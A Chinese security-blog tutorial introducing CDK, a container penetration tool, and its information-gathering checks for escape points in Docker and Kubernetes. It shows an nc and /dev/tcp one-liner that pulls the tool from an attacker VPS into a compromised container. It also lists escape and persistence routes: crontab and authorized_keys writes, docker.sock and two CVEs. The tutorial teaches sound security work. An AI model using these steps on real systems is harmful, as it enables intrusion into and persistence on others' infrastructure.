首发于 信安文摘
【云原生渗透】- CDK工具介绍与使用及容器信息搜集

【云原生渗透】- CDK工具介绍与使用及容器信息搜集

微信公众号:信安文摘

前言

CDK(Container DucK)是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

项目地址: github.com/cdk-team/CDK

CDK功能介绍

CDK包括三个功能模块:

  • Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  • Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  • Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

将CDK投递到目标容器中的技巧

容器环境往往比较简单,很多情况下没有 wget curl nc 等命令。我们可以使用以下方法将CDK投递到目标容器。

# 远程vps
nc -lvp 999 < cdk
# 目标容器
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk

快速使用

# 在容器内部进行信息搜集,寻找可用的逃逸点
cdk evaluate
# --full参数,包含本地文件扫描功能
cdk evaluate --full

evaluate 容器信息搜集

1. 本地信息 - OS基本信息

直接获取容器内的用户、内核、OS信息。

运行使用时第一步获取的就是OS的基本信息:

cdk evaluate

结果显示如下:



2. 本地信息 - 可用的Linux命令和Capabilities(探测特权容器)

检测容器内可用的linux命令以及linux capabilities,其中常用的linux命令如apt/yum, curl, wget, nc, python等会方便后续渗透流程,此外capabilities可以用于判断容器是否为 特权容器 ,某些敏感的capabilities如 CAP_SYSADMIN , CAP_NETADMIN , CAP_PTRACE 等也可用来进行容器逃逸。

cdk evaluate



如果是以特权模式启动的话, CapEff 对应的掩码值应该为 0000003fffffffff

3. 本地信息 - 容器挂载情况

检查挂载到当前容器内的目录和文件,一些挂载到容器内部的敏感目录如/etc,/root等可以提供逃逸机会,如将恶意代码写入 /etc/crontab /root/.ssh/authorized_keys

cdk evaluate



利用: Procfs目录挂载逃逸

github.com/cdk-team/CDK

后续会详细介绍该漏洞利用情况。

4. 本地信息 - 网络namespace隔离情况

判断容器是否与宿主机共享Net Namespace, 如果docker以 --net=host 启动且containerd-shim存在虚拟unix socket时,可通过 CVE-2020-15257 进行逃逸。

cdk evaluate



利用: containerd-shim CVE-2020-15257

github.com/cdk-team/CDK

后续会详细介绍该漏洞利用情况。

5. 本地信息 - 容器环境变量和敏感进程服务

ENV 进程信息 中提取容器内的敏感服务,如 python , ssh 等,便于部署后续逃逸/持久化攻击。

cdk evaluate



6. 本地信息 - 敏感目录及文件

进行全盘路径扫描,在路径中匹配敏感词来识别敏感文件,识别到的敏感文件如 docker.sock, .git, .kube 等将对后续渗透带来帮助。

cdk evaluate --full



如果识别到 docker.sock 文件,可以尝试使用 ./cdk run docker-sock-check <sock-path> 来检查API是否可用,具体参考: github.com/cdk-team/CDK

7. 本地信息 - kube-proxy边界绕过(CVE-2020-8558) net.ipv4.conf.all.route_localnet

利用该漏洞(CVE-2020-8558),可以访问 当前K8S节点 其他节点 (node)上所监听的Localhost端口

POC: github.com/tabbysable/P

./cdk evaluate